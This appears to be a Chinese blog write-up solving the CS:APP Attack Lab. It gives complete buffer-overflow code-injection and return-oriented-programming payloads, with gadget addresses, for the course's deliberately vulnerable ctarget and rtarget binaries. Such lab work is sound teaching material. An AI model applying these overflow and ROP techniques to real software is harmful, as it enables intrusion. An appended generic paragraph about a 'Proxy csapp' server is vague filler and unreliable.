CSAPP Lab3——Attack Lab 解析

CSAPP Lab Assignment 3 Attack Lab

lab 材料可以从 CSAPP 的网站获取,不需要注册,直接通过 Self-Study Handout 获取

本系列文章旨在个人学习记录和交流分享,如有错误请指正!


Attack Lab

Code Injection Attacks

level1

根据 writeup 中 4.1 的指导,本任务需要利用函数 getbuf 中读入字符串时发生的缓冲区溢出问题,来将 getbuf 的返回地址重定位到 touch1 中。

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	call   401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	ret    
  4017be:	90                   	nop
  4017bf:	90                   	nop
  
00000000004017c0 <touch1>:
  ........

分析 getbuf 函数可以知道,首先预留了 0x28 也即十进制下的 40 个字节作为字符串读入的缓冲区。调用 Gets 函数时,只有一个参数,也就是缓冲区的起始地址,放置在寄存器 rdi 中。而 getbuf 函数的返回地址,就放在该缓冲区之后,如下图:

|---------------------|
|    return address   |  
|       buffer        |  %rsp + 0x28
|    .............    |                                                                
|       buffer        |  %rsp                                                          
|---------------------|   

因此读入的字符串应该有 48 字节,前面 40 字节可以是任意的字符,最后的 8 字节是 touch1 的返回地址,注意返回地址的大小端顺序。

因此答案为:

30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 78 30 30 45 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 /* 占位的 40 字节 */
c0 17 40 00 00 00 00 00 /* touch1 返回地址 */

保存在文件 ctarget_l1.txt 中,通过 hex2raw 程序得到十六进制对应的字符,再输入 ctarget 中即可:

./hex2raw < ctarget_l1.txt > ctarget_l1_raw
./ctarget -q -i ctarget_l1_raw
image-20240102173249284

level2

根据 writeup 中 4.2 的指导,level2 需要我们注入一段攻击代码,使得程序在 getbuf 返回时执行 touch2 函数,还要使得 touch2 的第一个参数的值为 cookie。

在 level2 中,因为需要传递给 touch2 cookie 作为其第一个参数,所以需要让程序执行我们写入的代码,将 rdi 寄存器的值修改为 cookie,然后再返回到 touch2 中执行。而 ctarget 这个任务中,并没有开启栈随机化和限制代码执行的区域,因此我们可以将代码直接注入到缓存栈中去,然后修改 getbuf 函数返回地址为我们注入代码的起始地址,最后在注入代码中返回到 touch2

根据反汇编得到的代码可以知道 touch2 的起始地址是 0x4017ec,而 cookie 的值在 cookie.txt 文件下,这里是 0x59b997fa。结合上述分析,可以写出我们要注入的汇编代码如下:

mov		$0x59b997fa, %rdi    	# 修改 rdi 寄存器的值为 cookie
push	$0x4017ec           	# 推入 touch2 的值作为返回地址
ret						 		# 返回到 touch2 执行	

遵照 writeupB Generating Byte Codes 一节的内容,可以得到其对应的机器代码:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	push   $0x4017ec
   c:	c3                   	ret  

最后我们还需要知道的是缓冲区的地址,以获取注入代码的起始地址,这里将代码放置在缓冲区的开头,通过 gdb 查看栈指针的位置:

image-20240113120137398

可以看到在执行完 getbuf 中第一条机器指令 sub $0x28,%rsp 后,栈指针的值是 0x5561dc78,因此缓冲区的起始地址也就是我们注入代码的起始地址是 0x5561dc78。

综上答案为:

48 c7 c7 fa 97 b9 59    /* mov    $0x59b997fa,%rdi */
68 ec 17 40 00          /* push   $0x4017ec */
c3                      /* ret */
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 /* 占位 */
78 dc 61 55 00 00 00 00 /* 注入代码的起始地址(注意小端大端问题,这里是小端) */

同 level1 中一样,利用 hex2raw 程序转换后作为 ctarget 的输入,得到结果:

image-20240113120826679

level3

根据 writeup 中 4.3 的指导,level3 和 level2 是类似的,只不过需要调用的函数变成了 touch3,需要传入的参数是 cookie 的字符串表示而不是其数值本身。

首先要查阅 ASCII 表,得到 cookie 的字符串表示,要注意在 C 语言中,字符串的末尾需要有 '\0' 作为结束符,因此最终的字符串表示为 35 39 62 39 39 37 66 61 00 /* cookie 0x59b997fa 和结束符 '\0' */

而传入的参数为字符串,也就代表了需要将上述字符串表示存储在内存中,并将其起始地址传递给 rdi 寄存器。同 level2 一样,在该任务中没有开启栈随机化和限制代码执行的区域,因此可以将字符串放在栈上,通过栈指针获取其起始地址。这里直接将字符串放在 getbuf 函数预留的缓冲区的开头。

与 level2 还有不同的是,在 writeup 中的 some advice 中也有提及,touch3 函数中调用的 hexmatchstrncmp 会修改栈上的内容。因此,为了防止栈中保存的字符串被修改,除了添加将字符串起始地址传入 rdi 寄存器的代码之外,还需要修改栈指针。由于栈是从高地址往低地址增长的,在调用 touch3 之前,通过 sub $0x30,%rsp 将栈指针设置为字符串的起始地址(0x30 = 0x28 + 0x8,即 getbuf 中预留的栈上缓冲区大小,和 getbuf 函数返回地址的 8 字节)。综上可以得到如下注入代码的机器和汇编表示:

0000000000000000 <.text>:
   0:	48 c7 c7 78 dc 61 55 	mov    $0x5561dc78,%rdi
   7:	48 83 ec 30          	sub    $0x30,%rsp
   b:	68 fa 18 40 00       	push   $0x4018fa
  10:	c3                   	ret    

最终的答案为:

35 39 62 39 39 37 66 61 00 /* cookie 0x59b997fa 和结束符 '\0' */
48 c7 c7 78 dc 61 55    /* mov    $0x5561dc78,%rdi */
48 83 ec 30             /* sub    $0x30,%rsp */
68 fa 18 40 00          /* push   $0x4018fa */
c3                      /* ret */
30 30 30 30 30 30 30 30 30 30 30 30 30 30 /* 占位 */
81 dc 61 55 00 00 00 00 /* 注入代码的起始地址 */

执行结果:

image-20240114105345786

Return-Oriented Programming

rtarget 部分的内容与 ctarget 部分的差别,最重要的就是开启了栈随机化和限制代码执行区域,因此要在 rtarget 中实现注入代码攻击难度太大。通过 writeupPART II 的部分,可以了解到一种新的攻击手段:基于现有代码的返回攻击。对现有代码的机器代码进行拆分,从中可以获取到我们希望执行的指令,再利用 ret 指令将我们希望执行的代码串联起来,就构成了一次攻击。

level2

结合 5.1的内容,这里的 level2 和 ctarget 中的 level2 目的一致,只不过攻击的手段发生了变化。实际上我们想做的事情还是一样,执行将 cookie 的值传入 rdi 寄存器的指令,然后返回到 touch2 中执行。

观察反汇编出来的 rtarget 代码,在 start_farmend_farm 之间寻找可以修改 rdi 寄存器的 movq 指令,只有 48 89 c7 即汇编代码 movq %rax, %rdi 可以对 rdi 寄存器进行修改。因此目标转化为将 cookie 的值先传入 rax 寄存器,再利用上述代码传入 rdi 寄存器中。

同样的可以在代码中找到 58popq %rax,可以通过栈上的内容修改 rax 寄存器的值。现在做法就十分明确了,只需要在栈内的适当位置填入我们需要执行的指令的起始地址、cookie 的值和 touch2 的起始地址即可,最终 getbuf 函数返回前栈内内容如下,这里以指令代替地址作为栈内内容:

|------------------------|                                                                
|     touch2 address     |  %rsp + 24        
|    movq  %rax, %rdi    |  %rsp + 16                                            
|      cookie value      |  %rsp + 8                                            
|       popq  %rax       |  %rsp                                                        
|------------------------|      

需要注意的是,期望执行的机器代码的地址需要特殊计算,因为要执行的一般是原本一条汇编代码中的部分机器指令,以 popq %rax 为例:

00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3   

在这里我们需要的是执行机器指令 58 90 c3,其中 90 是 nop 指令,c3 是 ret 指令,因此我们需要写入栈内的返回地址就是 0x4019a7 + 4 = 0x4019ab。

综上得到攻击串如下:

30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 78 30 30 45 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 /* 占位的 40 字节 */
ab 19 40 00 00 00 00 00 /* 返回的第一个工具地址 <addval_219>: popq %rax */
fa 97 b9 59 00 00 00 00 /* 用于上面 popq 的栈内 cookie */
a2 19 40 00 00 00 00 00 /* 返回的第二个工具地址 <addval_273>: movq %rax, %rdi */
ec 17 40 00 00 00 00 00 /* touch2 地址 */

执行结果:

image-20240115113530890

level3

避雷提醒:level3 并不像 level2 一样限制了可以执行的指令类型,只要在 start_farmend_farm 中的都可以使用,不局限在 writeup 给出的指令编码中!!!

在 rtarget 的任务中,由于栈随机化的限制,不像 ctarget 中可以直接获取到固定的栈指针位置,从而显式地在注入代码中将字符串起始地址传入 rdi 寄存器中。因此,要获得随机的栈地址,必须在执行代码中利用栈指针 rsp。同时,不能简单地在栈指针指向字符串的时候获取地址,因为在执行获取地址的指令(如 movq %rsp, %rax)之后,紧接着的肯定是 ret 指令,此时栈指针指向的是字符串,字符串的编码并不是我们期望的下一条执行指令的地址。结合上述分析和避雷提醒的内容,可以想到需要在 gadget 中找到一个计算偏移的指令,将字符串的起始地址转化为 %rsp + offset 的形式,很幸运的是,gadget 中直接就有这样的指令,甚至不需要做指令拆分:

00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	ret   

这里 rax 寄存器的值由 rdi 和 rsi 寄存器的值相加得到,因此我们的目标转变为将某时刻栈指针 rsp 的值和对应的偏移分别存入这两个寄存器中,然后执行该指令,再将计算好的地址传入 rdi 寄存器中作为参数,最后返回到 touch3 中执行。

由于我们放置在缓冲栈上的内容是可以确定的(一堆返回地址 + touch3 函数的返回地址 + 字符串的十六进制表示)偏移值的具体数值是可以确定的,因此可以将计算出来的偏移值写入栈中,通过 pop 指令和 mov 指令达成上述目标。

到此整体流程确定下来了,最终从 gadget 中获取的需要执行的指令如下:

movq	%rsp, %rax 				# 获取当前的栈指针
movq	%rax, %rdi 				# 传递到 rdi 寄存器中
popq	%rax 					# 获取偏移量
movl	%eax, %edx 
movl	%edx, %ecx 
movl	%ecx, %esi 				# 以上三步将偏移量写入 esi 寄存器中,用于后续计算
lea		(%rdi, %rsi, 1), %rax	# 计算字符串起始地址
movq	%rax, %rdi				# 寄存器的值传递到 rdi 寄存器中

lea 指令已经限制了我们用于计算的寄存器:对于 rdi 寄存器,有直接通过 rax 寄存器转移的 mov 指令;但是 rsi 寄存器没有,所以必须通过 eax, edx, ecs, esi 这样的路径将偏移量放入 esi 寄存器中。

然后从 getbuf 函数返回前的栈内元素分析偏移量的值,这里以指令代替地址作为栈内内容,方便更加清晰地分析:

|--------------------------------|
|         cookie string          |  %rsp + 0x48
|         touch3 address         |  %rsp + 0x40
|        movq  %rax, %rdi        |  %rsp + 0x38        
|   lea  (%rdi, %rsi, 1), %rax   |  %rsp + 0x30   
|        movl  %ecx, %esi        |  %rsp + 0x28
|        movl  %edx, %ecx        |  %rsp + 0x20
|        movl  %eax, %edx        |  %rsp + 0x18                                                         
|             offset             |  %rsp + 0x10             
|          popq  %rax            |  %rsp + 0x08                                         
|        movq  %rax, %rdi        |  %rsp                                            
|        movq  %rsp, %rax        |  %rsp - 0x08                                                      
|--------------------------------|     

虽然 movq %rsp, %rax 是实际获取栈指针值的指令,但在 ret 返回到该指令执行时,栈指针已经自动增加了 8 个字节。因此,最终实际得到的栈指针的值,指向的是我们写入的第二个返回地址的位置,即指向 movq %rax, %rdi 指令的地址。结合上述栈内结构,可以知道 offset 的值应为 0x48。

最后还有一点需要注意,在 ctarget 的 level3 任务中,为了防止字符串的值被后续的函数调用覆盖,我们还手动修改了栈指针的值。但在这里,注意到最后一次返回到 touch3 函数后,栈指针指向的正是 cookie 字符串,而后续如果还有对栈的操作,根据栈往低地址增长的特点,并不会往上覆盖掉字符串,因此这里不需要担心被覆盖的问题。

综上得到答案和结果如下:

30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 78 30 30 45 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 /* 占位的 40 字节 */
06 1a 40 00 00 00 00 00 /* movq %rsp, %rax 获取当前的栈指针 */
c5 19 40 00 00 00 00 00 /* movq %rax, %rdi 传递到 rdi 寄存器中 */
ab 19 40 00 00 00 00 00 /* popq %rax 偏移量 */
48 00 00 00 00 00 00 00 /* offset 0x48 */
dd 19 40 00 00 00 00 00 /* movl %eax, %edx */
34 1a 40 00 00 00 00 00 /* movl %edx, %ecx */
13 1a 40 00 00 00 00 00 /* movl %ecx, %esi 以上三步将偏移量写入 esi 寄存器中,用于后续计算 */
d6 19 40 00 00 00 00 00 /* lea (%rdi, %rsi ,1), %rax 计算栈指针 + 偏移量 */
c5 19 40 00 00 00 00 00 /* movq %rax, %rdi 将 rax 寄存器的值传递到 rdi 寄存器中 */
fa 18 40 00 00 00 00 00 /* touch3 的地址 */
35 39 62 39 39 37 66 61 00 /* cookie 0x59b997fa 和结束符 '\0' */

image-20240118133825242

Other

  • 答案的注释必须要在首尾留下空格,即 /* 注释内容 */,否则解析时会出错
  • ctarget 程序好像只能通过命令行参数 -i 传入答案,而 rtarget 还可以直接通过输入重定向传入,即 rtarget -q < answer,暂时还没搞懂是什么问题
  • 23
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Proxy(代理)是一种在计算机网络中广泛应用的中间服务器,用于连接客户端和目标服务器之间的通信。Proxy csapp是一个与计算机系统应用(Computer Systems: A Programmer's Perspective)相关的代理服务器。 Proxy csapp的设计目的是为了提供更高效的网络通信,增强系统的安全性,并提供更好的用户体验。在Proxy csapp中,客户端的请求首先会被发送到代理服务器,然后由代理服务器转发给目标服务器,并将目标服务器的响应返回给客户端。这种中间层的机制可以提供很多功能,如缓存、负载均衡、安全认证等。 在csapp中,Proxy csapp可以被用于优化网络数据传输的效率。代理服务器可以对客户端请求进行调度和协商,以减少网络延迟和数据传输量。通过缓存常用的数据和资源,代理服务器可以减少重复的数据传输和目标服务器的负载,提高网络性能和响应速度。 此外,Proxy csapp还可以提供安全的网络通信环境。代理服务器可以拦截和过滤网络流量,用于检测和阻止恶意攻击、垃圾邮件等网络安全威胁。代理服务器还可以对用户进行身份验证和授权,保护敏感数据的安全性。 最后,通过Proxy csapp可以实现更好的用户体验。代理服务器可以根据用户的需求进行个性化的服务,如按地理位置提供更快的网络连接、提供访问限制和控制等。代理服务器还可以对网络流量进行压缩和优化,提高网络传输效率,减少用户的等待时间。 总之,Proxy csapp在计算机系统应用中是一个重要的代理服务器,它可以提供高效的网络通信、增强系统的安全性,并带来更好的用户体验。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值